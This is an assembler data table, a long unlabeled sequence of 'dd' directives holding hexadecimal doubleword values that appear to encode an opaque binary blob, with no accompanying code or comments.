dd 48280071h, 2E781E8Ah, 0C2049224h, 89DAED69h, 17190C8h
dd 78862519h, 0FFFC5014h, 5B5AC180h, 1181CA02h, 617AC6F9h
dd 0F8738DCDh, 1E32B800h, 0A2CD44E6h, 80F4F37Ch, 8148100Eh
dd 0CE20720h, 4AB25E81h, 73FD6987h, 8B81922Ah, 0A74494A0h
dd 1A00E678h, 0B9E39E6Dh, 2A47763Bh, 3484E704h, 8071BE66h
dd 0B134E1E4h, 9FBA6B0Fh, 0DB59D88Ah, 0F37171h, 0A49472EBh
dd 14E5493h, 0D3A19F01h, 0E8F946D2h, 7DEA5180h, 0FD5BF47h
dd 84BE08CBh, 0D489F980h, 5F98B02Eh, 5C895718h, 3A58D61h
dd 7ECDE988h, 914841C7h, 83D8054Ch, 83C08179h, 52284Bh
dd 4F10830h, 9EE318F6h, 895C2Ch, 1775F240h, 0BBB05B2h
dd 0C071B9DEh, 65E01CA4h, 51B72E1Eh, 3E6C6F00h, 0C206EC5h
dd 39E58F60h, 0E33E9F71h, 4B2F1FB1h, 85781D19h, 69C0A457h
dd 0FEAF0Ch, 0DC4B2B1Ah, 6F86452h, 0F95BF701h, 0FD3F26BBh
dd 8AA2CB40h, 484D4892h, 1780D8Ch, 11E46948h, 287C2970h
dd 0F4B8E0F6h, 11AE05A5h, 23EA0C47h, 92E173CCh, 3C7C3268h
dd 0F80600B4h, 0D6AD1318h, 786E06B2h, 70F48B41h, 58503444h
dd 7898B8E4h, 78608184h, 0F7C0C711h, 0AC2703CDh, 351285F6h
dd 95CB803Ah, 3BA44889h, 0CDE40034h, 0FF8ED69Fh, 79160EB5h
dd 2C60A0C2h, 56C45C33h, 8D6AB405h, 0C0208BF6h, 0D40D6Dh
dd 43E4AB76h, 1D92B657h, 0FC283Dh, 0A747A385h, 3324B7C4h
dd 79B1845Eh, 88C393A3h, 934F80F9h, 8A00BF5Ah, 6F431C73h
dd 5870192Fh, 6F60316Ah, 0FE6BE8E0h, 907092A9h, 1AD70554h
dd 40E60E47h, 935A3EA0h, 0DA0B1FD4h, 83A106EDh, 0DD0367C4h
dd 85B3C3h, 0E6ABD951h, 0EEAAB1D0h, 54E09A00h, 19C8CDEBh
dd 917Eh, 0ED5B5E10h, 0DA038921h, 58E7FFB2h, 20B4D40Bh
dd 90450740h, 755CBF1Ah, 6D900214h, 1872C6A5h, 0EC794201h
dd 0FE0A82C9h, 66B09D8h, 80C28C4Fh, 1600697Ah, 0AF221F2Bh
dd 18F449E5h, 4138C81Bh, 34006EF1h, 0D527D011h, 4879B9F5h
dd 241E2096h, 16F9C15Ch, 22AD5E42h, 0E641DACh, 8480A134h
dd 5134CAE3h, 11E0AE59h, 74DEE8FCh, 0E1A82609h, 77111Ch
dd 428C480Bh, 15043ADDh, 0A007B9BEh, 0D31D7000h, 0D5E0C6E1h
dd 0A83DA101h, 8BF77FDDh, 0A002022h, 19642E7Eh, 1A0060AEh
dd 4CDAA0CAh, 0F21E70EEh, 20844ADBh, 0E199D150h, 548BD725h
dd 1821389h, 8113F01Ch, 5F918084h, 0FE1D26DBh, 0C5EA0198h
dd 1C48A833h, 9720705Ch, 8AB28412h, 21EB1490h, 332A0576h
dd 513D2Bh, 0E9E8EB9h, 0B40F4E30h, 505573h, 4340C014h
dd 389899E3h, 1B7B1502h, 908E7191h, 1E02600h, 37610293h
dd 8DE150B1h, 36EB3180h, 20432BCEh, 3370B0A0h, 309CDCECh
dd 0B25DE084h, 290764B3h, 0CFC60C44h, 6FED0960h, 8001AA6Ah
dd 0FCE9734Ch, 0CC437901h, 0DCB2E457h, 5216AF01h, 0E1CF29EDh
dd 1E8BD411h, 0D125B200h, 0FB58B64Eh, 0F93A2C06h, 8EA1630h
dd 8E923888h, 67BF0820h, 55810B5Ah, 8C0057C6h, 476B7263h
dd 0C0D0E14Ch, 98D986A3h, 0C0516214h, 8A295EACh, 0B42642B4h
dd 28120796h, 74AFD831h, 0BB5D2F4h, 0A82E9C8Ah, 0F1C17980h
dd 620F54C6h, 736BB7h, 37D90A23h, 1577027Dh, 5E7E1C82h
dd 4B6A98A0h, 4500869Dh, 2CE83E39h, 0EB5F251h, 0AC06A6C1h
dd 886C8C82h, 453C7CE6h, 750F7086h, 8066ABD7h, 0C869EC91h
dd 1693063Eh, 0C15D8C33h, 0E49F2100h, 3950F855h, 0F31D0F09h
dd 0D6F952h, 97EC1E0Ch, 0A8FEB734h, 7324881Ch, 2020B0ECh
dd 74FE0E00h, 0D6E1BFAAh, 6688C82Fh, 15C0BA80h, 32CD773h
dd 5DC4CE5Fh, 64D97247h, 835072EEh, 0E7C52D6Eh, 2764D601h
dd 7DFAB1E0h, 0FCEF4446h, 6C24B300h, 92D78126h, 3A7A0035h
dd 0E0663CD6h, 414948Bh, 60F84189h, 287A01C0h, 9874B069h
dd 34035860h, 30645089h, 89594A0Ch, 48D165h, 0E447BFD1h
dd 53B2D4CAh, 64E7E301h, 0CF37ED0Dh, 0EC6259C1h, 0D9DD4500h
dd 0ADA7702Bh, 27020E12h, 0B6CA9003h, 0C7300E2Ch, 2B15E32h
dd 2BA3FFA6h, 0B734404Ah, 0E2F03993h, 4405C0D8h, 803EA984h
dd 0CBD9FA98h, 0B71FADE0h, 67ABF2Eh, 2B6C901Bh, 130F00C1h
dd 0ABFCD68Fh
dd 79067047h, 2A519280h, 140D0021h, 0D9B16DF3h, 5801F8E1h
dd 4351AAF6h, 0A85071DDh, 918BFC41h, 251364h, 0DDAC8AD3h
dd 19009FB1h, 74CADAA9h, 28470F3h, 476DC0C8h, 247A5A17h
dd 88D0BB00h, 0A8CA3EECh, 0A0510372h, 9CD17C0Bh, 6A7867D8h
dd 1ECA25Ch, 0B70AAEBFh, 0DAC8FC06h, 0E1EB0412h, 99EF57B2h
dd 0CF0440A0h, 812A9CB1h, 0FD01D086h, 13C56CDh, 5BDCAB74h
dd 0EAD424D5h, 97E1F50h, 68185886h, 0D5018E59h, 0DB76CC21h
dd 0D4FB6622h, 10C174C4h, 0FFF5143Dh, 84052C70h, 3A104D48h
dd 0D189E55Dh, 0E076C780h, 5AA50183h, 0F48C91A6h, 0C7AC404Eh
dd 9E80BD7h, 71AA9A12h, 51804407h, 54A46744h, 9147608Eh
dd 0CD06D89Dh, 831E3A02h, 602A2621h, 7D5059h, 874FB178h
dd 6B4716Bh, 0E18D202h, 0C2149182h, 0B98852DCh, 2DCC01ACh
dd 30B13C8Bh, 0C501BB97h, 0FC917E1Bh, 0EC2893DFh, 0D6025F00h
dd 5739474Dh, 941EE809h, 3804413h, 29BC0E91h, 0B2D2DE2Ch
dd 0DCE9CC69h, 4A00705Bh, 0E0CF6E6Dh, 0B69081h, 7530EB88h
dd 7F0316CEh, 0C976F670h, 0D4D63904h, 88C369B4h, 605494ABh
dd 0B55CF90Ah, 2922018Ch, 4186E105h, 307028ECh, 4B0038E1h
dd 0B7A76240h, 0ED2F753h, 34FA61Ah, 81E2F485h, 24827CE0h
dd 0E1888ED4h, 304E61C7h, 0CC1EB2BEh, 0F103E85Dh, 0E4C47219h
dd 0A0C2DB61h, 6842AF2h, 0F9814E94h, 0C661207Ch, 1EA54918h
dd 74D7F8h, 0DFDC8F61h, 0FF08F85Eh, 0BCEAA600h, 0C1D93DCAh
dd 87110C41h, 3828735Ch, 0D1183Dh, 7D5448E4h, 0A04CCFACh
dd 6273F2h, 8B6C100Eh, 707BB152h, 32E3AA06h, 802354h, 0B6C4188Ch
dd 0EEA7F521h, 81988578h, 3A3833Eh, 0DF7D57BEh, 4768038Ah
dd 4477CB90h, 0F2877818h, 0CF52A9h, 0B938AF2Ah, 2E03F7C9h
dd 0CD00807Bh, 449AFCD5h, 0E19F6D0h, 18B64C89h, 0AE9CF281h
dd 80E631D6h, 812EE7A9h, 1135798h, 319485A7h, 30569DD6h
dd 0F21F3225h, 0C80CEDCDh, 0F261306Dh, 0ECA4034Ch, 0E43EBF03h
dd 85EB24A8h, 913D9B18h, 0B913B1h, 0D4CE0926h, 68D276DEh
dd 0AE3C200h, 0C360F1BCh, 84F20C35h, 0B7894BCEh, 0BA764200h
dd 1DADC834h, 55B0C0BCh, 63A49B41h, 0E04AD4A1h, 0EC44E651h
dd 7183603Ch, 0A25CFC92h, 0AD453000h, 5BF6873Fh, 3A503F9Dh
dd 69B2C102h, 586196BCh, 62C98E78h, 3EE2941Ah, 8081BC8Eh
dd 11AE2294h, 0C063EBD6h, 13597358h, 69C06B3Ch, 0FA519B1Dh
dd 67600E4h, 0A84D1F3Dh, 9A04A9FEh, 1388C242h, 81702C81h
dd 0E8A081D2h, 18245987h, 0BA9F077Ah, 90A69D86h, 4FC3C70Eh
dd 3839B48h, 8505EA7Ch, 617900E3h, 0AAEF63B6h, 3E009741h
dd 0D35ECFEh, 2AE8A7CFh, 9C44CCh, 0AB60A457h, 0F781EFD9h
dd 0B836A303h, 328833Fh, 596E9E10h, 310053D2h, 5C4265FCh
dd 7E1F0ECh, 0A51B601Eh, 19C5F009h, 7E7582DFh, 9B47B1C7h
dd 0DE2B4B50h, 999F606Bh, 157F22E7h, 2F557200h, 46DCC375h
dd 9043F23Dh, 63A276CDh, 6C6E417Ah, 7D7795C8h, 980031F0h
dd 0AACC5EE6h, 0CF5D8B4Ah, 20407F69h, 0A39914A7h, 0E2B84B00h
dd 9EA5C19Dh, 73571CBDh, 0EB8BCA3Ch, 7C3A80FCh, 4855D3FDh
dd 7A9A6603h, 9CCB2BC1h, 0AF8F9980h, 7D530C31h, 0FA8982D8h
dd 0B6AE7905h, 0CC0118ACh, 5C847C36h, 1DB51C10h, 6FE04D4Ah
dd 5D6150Eh, 4C14C438h, 3C183CF3h, 68DB5184h, 0A13AAF00h
dd 0C26354D7h, 6E07BD0h, 3C2F5DEDh, 8400296Dh, 71FE9020h
dd 13B955F8h, 1D9D2Ch, 0D7945D00h, 0CCA84EEEh, 0B0A97266h
dd 8AB2F021h, 0B9A9D600h, 805AF0Dh, 3F189856h, 3CA9F9BCh
dd 6ED300B0h, 1DE3ABECh, 0C27B6F00h, 44D8B201h, 0F08430FBh
dd 16355CB9h, 8632120Fh, 37BE6006h, 30484756h, 8D8151CDh
dd 2100AF5Fh, 0E5D6B4Ch, 4DEFD19h, 46F5E604h, 0A2008C62h
dd 80D3F83Eh, 21B4902Dh, 0F608813Ah, 9D7B06E7h, 79F18476h
dd 8DBD9800h, 0F7D550BCh, 0D3EE0F25h, 0CD0555B9h, 0D4B04735h
dd 0EDAFD05Dh, 6005EE2h, 0CF68D015h, 39F3D63h, 9D056D10h
dd 72F89C84h, 0BAA0CDBFh, 7D078CB5h, 93C8C18Eh, 947EF83h
dd 0DA0899C9h, 0DB7EFA02h, 0D233DC44h, 0E07B2146h, 92594B9h
dd 10BE8907h, 0FCC5D803h, 0FEB88EE0h, 0D2527098h, 0AAD300CCh
dd 0D127799Ch, 6F393BD6h, 2C00674Ch, 0FF914193h, 5D03C40Ch
dd 94B53DF2h, 842EA8E7h, 987954E1h, 33160EECh, 9E81BD3Fh
dd 0F830E7F4h, 21C37169h, 0C0A70A17h, 98BC0Dh, 81C7DE9Ah
dd 4D2D06B9h, 740329F2h, 0C46BB348h, 74FEBDAh, 0A493CBE6h
dd 53A9DCCCh, 0A26E7000h, 0E6EA3D49h, 54A57559h, 9C806Ch
dd 0FD7DE4B1h, 0E2A6ED80h, 0A449CD07h, 0E11F4A9Eh, 0C419FE2Ch
dd 0F8E569C4h, 107860F9h, 86C58464h, 20B0B505h, 8C21F7D6h
dd 0C1806769h, 9E0137F2h, 3004E650h, 489AF199h, 473DC5AAh
dd 50F9B9B0h, 804215ECh, 905E3C05h, 68928BC9h, 9138C1AFh
dd 1C24DAE1h, 304B00E9h, 9FD7DB55h, 0C903864Ch, 0CE9AF283h
dd 89810049h, 93A6B329h, 0A700EA8Fh, 242DECFFh, 7E5711Eh
dd 215578B0h, 86D110DFh, 88984F9Fh, 0EA88F90Eh, 0E598080h
dd 0C0E12215h, 0F198B1E2h, 0E300502Ah, 9C513F85h, 305FA7BCh
dd 0E7E98A66h, 0C500F9EBh, 225B2428h, 95267Dh, 9DCA5EC3h
dd 6E350A7Bh, 14F28100h, 820CFC3Ch, 0E09600E2h, 0DDA1A993h
dd 693090ECh, 0EE035173h, 98BC7BBDh, 0EAAF014Eh, 7DA00983h
dd 478450DBh, 501953Dh, 4B1ACCC4h, 0D860209Fh, 0E3680070h
dd 75660C2Dh, 0ED48D7CFh, 4E988080h, 1E1183h, 0A3F814E5h
dd 0E35C967Dh, 6BA9E2Ch, 0F7D7D103h, 8131004Dh, 4B5534ECh
dd 0F401BF1Fh, 0E2A56886h, 5EF024E3h, 0B9721F99h, 0D16405F7h
dd 69C021CCh, 0EF3D601Eh, 3B4B2706h, 78D96466h, 1980049h
dd 3C5E3341h, 4A24AEE1h, 0BF0528FCh, 7CC02526h, 12E0DE55h
dd 427CDF5h, 28F3A2Ch, 0F21F04Ch, 18400012h, 1091F109h
dd 9C81AF00h, 0FD8AD7F3h, 0B8020512h, 8884F857h, 2B25F2B0h
dd 94D863h, 0CD8C195Ah, 849FE5C1h, 38B9BA6Ah, 8B80F494h
dd 40089269h, 0F635ED6h, 835FAF01h, 80C4D40Ah, 88C55877h
dd 94380CA3h, 0B99000FAh, 5503EF6h, 4A2C9018h, 76382379h
dd 0E7D351DBh, 83F412Ch, 1B7F6B40h, 222F2511h, 69883810h
dd 286D2700h, 0CFE5EF35h, 3E48245Eh, 0B4A30579h, 0E874C83Dh
dd 54869F03h, 0C06E841Fh, 7EDAC5Ah, 0A8874F14h, 719FA1F4h
dd 7B403033h, 9A7AF88h, 25E58357h, 3F30A482h, 0B6000C64h
dd 9DEC4286h, 3B8EA0B1h, 6863763h, 41F2513Ch, 0F4DE8F0Bh
dd 1888905Eh, 2D580162h, 0CBF78C54h, 6B347020h, 0CF0F8508h
dd 0C73E8049h, 7270BD2Ah, 9CE2E700h, 964D6D8Fh, 850816CFh
dd 5010194h, 21F79EF5h, 0DA92F438h, 3DDCB00Ch, 0C8A178h
dd 0E46F1FF9h, 11D276D3h, 86EBF700h, 0A55D196Bh, 0CF74AB85h
dd 94E64970h, 246092A4h, 60E058AFh, 7CD8E4F1h, 3106F05h
dd 0CC008C1h, 2B05B92h, 0CD1241B5h, 0DC40818Eh, 2D4CC857h
dd 3DEA794Ch, 5400E0A4h, 0D5517880h, 98CC1C9h, 0D236DCBCh
dd 0D3D0B080h, 0DF0A5B53h, 8450F4D7h, 6880F8A9h, 0A6F8AF7Bh
dd 6053005Bh, 510F836Dh, 5428A50Dh, 2300146Bh, 9BC1553Ah
dd 1C1B9AABh, 125B44C9h, 96CC01A3h, 29CFF345h, 1643A9Ch
dd 0C275B761h, 87304382h, 0BFA30AB2h, 0BCE02686h, 0F8285300h
dd 36E3DB2Eh
dd 0FF0C0A05h, 482AED6h, 0DC51A1h, 16DF24Dh, 0FB266C75h
dd 761FF828h, 30D99080h, 1998590Ch, 384D16E4h, 0AC083Ch
dd 179226B8h, 4A73A087h, 48D95100h, 39253049h, 7EC716BFh
dd 0D8C83771h, 0D41A8C81h, 2D619E78h, 0AF2E4ECh, 6CCC8322h
dd 50949588h, 0D9E89600h, 0F5FA76D1h, 24DDFD00h, 63C4B99Ch
dd 9B171385h, 0B43401C5h, 0F886A25Ah, 4812555Dh, 60D0E083h
dd 0FA85A4AFh, 44AD4849h, 6C33E97Ch, 0BBE077Dh, 801EB12Fh
dd 93439CE1h, 2E983E63h, 14ECA050h, 25C1EC2Ch, 0AC20CFA4h
dd 86E6035Ch, 7E36B100h, 515D3879h, 0E1430011h, 625CC460h
dd 0E005DA5Ah, 6646A405h, 0CB8088h, 5D92F323h, 0D83CFAB8h
dd 0CDE9FE00h, 52ECBE77h, 8B621C67h, 53F393ACh, 57FF0018h
dd 0A125A96Ah, 9F075CF6h, 0F4A7C130h, 84D64AF3h, 0ADE10B4h
dd 0A5EA9C8Ch, 4E0200B6h, 0BA85AAC1h, 809C7A48h, 0F391538Fh
dd 45AE023Eh, 0CB905994h, 500F1080h, 9C01E338h, 0DC6BC8DDh
dd 3862F6D7h, 5A948100h, 0E8878363h, 9B5A1C0h, 0FA2752C6h
dd 7E9B3EFAh, 414DAEh, 53324511h, 0AE00B8C7h, 0C3C56462h
dd 9983CD5h, 3EBE6DE1h, 0B0ADA481h, 8ECEF874h, 3BAE8314h
dd 842C0BC0h, 0AFAC90CDh, 5CF87874h, 4C228434h, 0D6894300h
dd 8AF0EA87h, 5C9C0379h, 14E6B3EDh, 804505E1h, 252D4C29h
dd 60875B54h, 0B4A9B9DEh, 0B1007E30h, 0AE24B7EFh, 90CDC56Bh
dd 4817C35h, 97A2D08Eh, 0BC2CB43Dh, 392D0300h, 34839D17h
dd 55330ED0h, 80807DB6h, 0F201B5D7h, 0A8584C34h, 7954D002h
dd 3D8C6DEh, 0B23CECE7h, 6EA30CEEh, 0FEB35900h, 98DFCB74h
dd 7B122C5Bh, 0BE36054h, 100967C3h, 84F63091h, 0E4A4CC78h
dd 0FD9D1346h, 21970095h, 0C8A10719h, 0A997DA00h, 0C4343FCAh
dd 31E200D6h, 98D0369Bh, 0B3075420h, 0DEB5AC07h, 50C0BD87h
dd 604CEC8Ch, 0C31D11CBh, 874C5204h, 430C7C8Eh, 402DB57Ah
dd 0A2950BBDh, 0B6841478h, 0B500EEC9h, 0E14F1604h, 69A76019h
dd 0F220EF1Ah, 0E27FAE1Eh, 0DD199598h, 0A41204A7h, 8024FFACh
dd 65BC033Bh, 2A43DB01h, 0CC4C0D22h, 0C79E8983h, 0D7B08869h
dd 99048795h, 0D19D15A8h, 29784E0Fh, 0BF004F54h, 0E8FDE6FCh
dd 1BCFABBCh, 30099E04h, 0F0BD7907h, 119C43E2h, 30051D0Dh
dd 7C2A0Fh, 7D17805Dh, 66B36CD7h, 0C878CD30h, 0C8280Bh
dd 4643FBAh, 0BCA82C17h, 3948C9h, 14117DAFh, 1A843C5Bh
dd 1CE4A280h, 9F9A1208h, 0F5719E60h, 8A14E2h, 0A88F429Ch
dd 0DD91121Fh, 0A7DC9203h, 99B20Fh, 85DA7AD9h, 0D2BBD53Eh
dd 2580515Bh, 0E074C3h, 799D1427h, 0FAA78F3Fh, 0EC1AA407h
dd 0BC807DE7h, 0C0A634E2h, 3D728271h, 0DB00333Bh, 63541A3Fh
dd 5DD0488h, 12A81903h, 2B8C402Ch, 441A7A1Ch, 92D81F00h
dd 0B527B034h, 0BCF93990h, 7A7C8982h, 1844D3ACh, 53343E00h
dd 0C3E6FDF4h, 13492BAh, 201D2D05h, 50AA2A3Bh, 6D560190h
dd 83754C3Ch, 0ABAC9BEDh, 9465C0DDh, 1E63C09h, 920BE78Fh
dd 4306B9B8h, 63AAF000h, 862220FBh, 1FF60745h, 0C68A09h
dd 1D0F05E2h, 574E1A00h, 23B5471Bh, 4CA41901h, 30F4A1EEh
dd 6C173598h, 140C8A3h, 2B0B0EFEh, 68730E7Fh, 0E9CCACEAh
dd 9271B031h, 66EB81C7h, 6322ED00h, 7F90A78h, 901A02h
dd 1B6C65ECh, 0A4535680h, 7B9400D8h, 8CA2A05Dh, 9AB00E9h
dd 0A1430AD8h, 0DE00B8D7h, 0DD4B3659h, 189030B6h, 79DF4D56h
dd 0B1FAEA31h, 82F7FA00h, 92E23211h, 0A82C7AF0h, 73BCAA0h
dd 71FE4410h, 0B715E14Ah, 8083FEDEh, 0B5F2475Ch, 24194480h
dd 850132EAh, 0C97B7535h, 82DCD4C7h, 0A5E70727h, 2E9E280h
dd 442B4DCh, 0C7340C84h, 0ACA2803Bh, 99C0D0AEh, 1D74E9FFh
dd 62270EF4h, 0EF23D8FDh, 2100E44Ch, 18CFF02Dh, 0C046DBh
dd 29A38A60h, 0F588B0Bh, 4FB3302h, 98EB2EE5h, 0CE3EACh
dd 0ECF26AA4h, 4E68C413h, 7C38C950h, 0AA53040Fh, 0B1E5002Ch
dd 18DDE37Ah, 41939FC5h, 100E7F6h, 7CF889B0h, 207BB5A0h
dd 0D060CC29h, 4ACBC286h, 1A37002Bh, 1834FFF4h, 3E00C705h
dd 0C820ADA4h, 0C676DE2h, 9F92B2D4h, 50002359h, 0F08A51F2h
dd 7590468h, 70ED919h, 0C9BD30B3h, 0BC5449A6h, 797718C8h
dd 0B50DB40Ah, 0D380BCAFh, 0C089D65Eh, 6B0200D0h, 127B3FBh
dd 0F0E6FEB8h, 0AF0CF898h, 0F1DDB5ABh, 2264013Eh, 0B9929916h
dd 8888335h, 0B7AF86F9h, 1D104F77h, 0F59084h, 0C3158AF4h
dd 6BBB258Bh, 3FE4EE00h, 0A514DC61h, 0C9B86092h, 0BCB664Eh
dd 0E060852Eh, 0D7463100h, 0F5F4ADh, 0DFF3DB20h, 3584AE91h
dd 4316B000h, 26A80A03h, 0B5FCA850h, 9AA00422h, 8890EA06h
dd 0F800A6C8h, 97218671h, 2BECDD3h, 468C6BDBh, 0F840A004h
dd 0E1C89B5Eh, 824A87D3h, 4D1180EBh, 1200A6EEh, 523DDC71h
dd 1F9BB168h, 983A38E5h, 0EE2D31E2h, 4111F000h, 0A8B6750Eh
dd 1B302A3h, 0ABB2EB5Eh, 517BB4A3h, 0DC163498h, 32192300h
dd 376C1AFEh, 99050E3Dh, 0BB2268FCh, 40642CA6h, 0C05A3200h
dd 0DCEE3E59h, 877802h, 0A860F9C2h, 20F7D764h, 36E1680Ah
dd 0B28CC4B7h, 0EC0871A4h, 71DD008Bh, 0B01CAD99h, 19020B1Dh
dd 76FE66B9h, 0BBAC60CFh, 3A70A9h, 0AC54F7F0h, 0B22A575Ah
dd 8E2C81C0h, 3E1DAFDFh, 0E3A6B392h, 0DB370058h, 67C1FCB7h
dd 2CA6A339h, 2200840Fh, 56F7C031h, 0DA0C3A70h, 2E47F17h
dd 0A8AC8AF0h, 6F052046h, 34E1168Fh, 1813EC88h, 79B42C43h
dd 6000C9C7h, 4611D342h, 16B97DDEh, 303DE28Ch, 0F96DEED0h
dd 9B884702h, 2B1EA8h, 0AD12AFBDh, 56F0DC02h, 904E3A81h
dd 3B8DC7D4h, 99816A3Ch, 0EAAB056Eh, 6908205Dh, 0DF36D09h
dd 0A98C9897h, 3F1AF0CBh, 9200CFC3h, 0C845B48Dh, 33009015h
dd 2A4B73EFh, 0C3E14DF2h, 4A7C3161h, 0CC515BE8h, 223439h
dd 0AFBFADAAh, 0C0D64D24h, 957D7E29h, 4572D83Ah, 0FE050F76h
dd 0A92A3E3Ch, 0F9DA8040h, 8817D1h, 0B72BAE89h, 0E611AF5Ah
dd 440C204h, 78805E96h, 76DD74FAh, 501320E0h, 2B0BD49h
dd 929F2C05h, 5F5827ABh, 6E3760E0h, 0C376A0E6h, 0A1794100h
dd 357D8B4Eh, 1AAA000Ch, 78F68CB2h, 84A89AB5h, 0AE00310Fh
dd 8810BA9Dh, 1D5296h, 856B70B1h, 115DE5EBh, 4DF01708h
dd 0A19680EDh, 0A41E12BCh, 311F2E1Eh, 0BF6FEB47h, 0A3092260h
dd 6AC928Bh, 29D4E47Dh, 4900F9BDh, 4AE788DEh, 721AE30Fh
dd 0D470401h, 0C1899EB4h, 0D0D66B80h, 3540A53Fh, 0A98363B5h
dd 60AF3EE0h, 32AFFCFEh, 6D532500h, 5CCB8044h, 6F062EBDh
dd 7B430188h, 60B30BADh, 2410161Ch, 506A32E0h, 2231364h
dd 180F400Ch, 0D2D88498h, 30083D00h, 7E9E79E1h, 785803A5h
dd 0F20EFF99h, 208FF3E9h, 0F10334Ch, 84788CA0h, 3EBCC858h
dd 782C2816h, 8171E13Bh, 0A737ABFEh, 89909A4Bh, 1D16009Bh
dd 58F8FB85h, 3857EAEEh, 0C058ABB1h, 3271FA80h, 1E01E169h
dd 0A8A0D55Ch, 3CE0655Bh, 0F868A0A9h, 7B7373h, 3A4A97F6h
dd 0B20D9CCBh, 0C992860h, 7CA85CA3h, 0E89F4C10h, 7E5D5980h
dd 1600CF6Ch, 893F384Ch, 0EC494C7h, 2409CD17h, 46B08FA0h
dd 78173203h, 0B022D7ACh, 4E54C1EDh, 9B007822h, 2558FAF2h
dd 5E0B1276h, 90B2CEF3h, 9D9CE0h, 85EA2F55h, 9BA6FFCAh
dd 3F0010B8h, 423CAC20h, 0A9D6279h, 0B5165999h, 3E68001Ch
dd 3090B921h, 5263BE1Ch
dd 1E6AFA40h, 15E3F0FDh, 0B4B75FA6h, 88A09F15h, 15A58900h
dd 0C3E72E61h, 0F28F5104h, 248D0721h, 3CD491D8h, 398FC980h
dd 4BE12FBCh, 0EC93E27Fh, 7400C225h, 9CF86127h, 52A7DD7Ah
dd 0A028DC56h, 11C47C88h, 0ADF02ACh, 0F1571A3Eh, 44C80712h
dd 2634EEACh, 0DA4F2Eh, 0D4BFE92h, 0A8F079ADh, 593F833Eh
dd 6A560A50h, 0AC20EC1Fh, 0A5FAA715h, 17160024h, 0EE73CD0Ah
dd 0FA355D74h, 4E7AC16h, 402B3D90h, 1AC51DB6h, 44110348h
dd 75516C85h, 0CED430A5h, 500893Dh, 0C427EB0Eh, 44ABA8F2h
dd 1D0036AAh, 7DCCC38Dh, 0C318B02h, 57B95A55h, 22047121h
dd 623DC6C5h, 45184488h, 0E204309Bh, 749059F4h, 0B990CC44h
dd 26A200B0h, 0E687CD1Bh, 8BA46C00h, 0DD99FBF0h, 9E510FDEh
dd 2F2F8FCh, 0D1B2570Ch, 2B71D466h, 0B4DB3F00h, 6D04EC0Fh
dd 0EA1C3FE2h, 0B9C66407h, 6B0B0AFh, 0F318F83Ch, 6F39A5B2h
dd 324F00C9h, 88521E7Eh, 330292DCh, 0B8068320h, 7F88C0D4h
dd 3C30FB11h, 4ED094CAh, 308A0057h, 0DF39DAD7h, 9B3AEA00h
dd 79086092h, 6BA412A9h, 0F25420B4h, 8507B716h, 25EB7DF3h
dd 0E23863F9h, 0D3871E2h, 0E399A9ACh, 2913A8A8h, 8BFB41C0h
dd 18CBF7BAh, 31AA92A7h, 0B0F2B3FCh, 0D9007898h, 93F54CF0h
dd 0EDFA29h, 0FBC0ABDCh, 9F062782h, 0F05FC0C0h, 1F84F954h
dd 68A89A41h, 18C87C30h, 1826ED7Dh, 4B0105Bh, 0E3C4C02Eh
dd 99582007h, 0BD29040h, 2E82780Fh, 1180AAD7h, 7E3000CCh
dd 0D8DDF00Eh, 40A3585Fh, 5019900h, 0D7F232A1h, 0B9CD9F30h
dd 3591F66h, 29073722h, 0B7A8E567h, 2B13B019h, 0C30E295h
dd 0E63A1F99h, 0DE1B0F94h, 78245F7Bh, 0EA7C88B2h, 0EB017D00h
dd 216104B1h, 653F06DFh, 0C89C7C9Fh, 58EF3C48h, 0E61C0B58h
dd 754C83C5h, 2BE1E91Fh, 17BE839h, 5AECBAB4h, 0E378B5EAh
dd 0F1F4F9C8h, 7254DD00h, 7B0FAA94h, 7841E1ACh, 6C223CEDh
dd 3478EA31h, 7FCC205Ah, 20C4E5FBh, 0A53BEE54h, 0FBFD8059h
dd 0A6507CE7h, 5EB24A07h, 0C0965FBCh, 0A217FE6Bh, 8407E48Eh
dd 0CC3DE3A8h, 249F2643h, 403C4D29h, 10FB0F66h, 73F17F00h
dd 63C84B94h, 9C64028Bh, 294FDEEEh, 43CACC84h, 0A826A38Eh
dd 0F83D32EDh, 47070293h, 3A301CFDh, 887C0840h, 0B9068E01h
dd 9FD1CF7Eh, 0BE01C039h, 0DA639A10h, 303D4Dh, 0F3A1F415h
dd 2CBAE639h, 0B094B479h, 5A7783D8h, 0F703E213h, 0D5899800h
dd 2EFB3A4h, 8AFC103Ch, 48628359h, 0D99F3CB0h, 929ABB0Ch
dd 7E7994h, 131ECEA7h, 1A06EE56h, 9EF04D01h, 32E2CFDDh
dd 0EA046C62h, 0A20599C7h, 0D7E600B0h, 0BF97DAE3h, 9030548h
dd 8820B5E4h, 0C8604EE0h, 0A5A96C9h, 0FC4A0057h, 8CDEF32Bh
dd 0A40FABD2h, 0FDE201h, 0B17B285Fh, 56A00964h, 0FC5F7h
dd 7F510091h, 9D23B641h, 1EB500DDh, 0C888D25Dh, 0D53B6C31h
dd 12FE0054h, 0A6C4B204h, 44BF594Ah, 0AEACF70Dh, 0E0ECE391h
dd 0E3023A84h, 19F6F383h, 28519Ah, 0B58BD333h, 9300765Fh
dd 59A406F7h, 3946B39h, 8F56F04Eh, 514C81B2h, 0C37A0077h
dd 0C9F6458Ch, 0DABB036Ch, 0E412F7B6h, 258E294h, 0FA5DD3A9h
dd 0A0216373h, 31A0499h, 807C0858h, 0D0A05135h, 0F23E19B5h
dd 9F79133Dh, 0E1BFD422h, 0C0E22927h, 0C059DF66h, 0FDEF7C88h
dd 324F6FB3h, 51CBB003h, 145612B5h, 54140720h, 0DE6DC0A3h
dd 0B23B2Ch, 0C8ADCD1Eh, 6176B800h, 0B63EDCh, 52273DD5h
dd 0BB04AC37h, 77BC900h, 34B53C20h, 0B1D413CFh, 409C2792h
dd 0C88E7CBFh, 0A83E747Ch, 7FAF443Ch, 769C953h, 40E08C04h
dd 7B180BB7h, 0F77902D3h, 10713F3Bh, 6C7D23E0h, 223DBF01h
dd 67547436h, 252ACCD0h, 5803E40Ch, 9E5A73Bh, 24919060h
dd 4818C039h, 0A0805500h, 5A461A02h, 0A4710078h, 0B75CE999h
dd 4A26D5DAh, 600418DDh, 0C8849A7h, 0F4470278h, 53203213h
dd 1985FCC0h, 2092AE2Dh, 0EB6FBFC0h, 26CC0E70h, 57E13E44h
dd 60908DF1h, 0DC9132ACh, 0BF1C7824h, 5DA74B83h, 1E6103ABh
dd 7A570D5Ch, 151B2012h, 78C09113h, 0B62BE03Dh, 1F1CAC2Ch
dd 78830516h, 738BC2E1h, 42A908C3h, 0BEBC4C5Eh, 31009976h
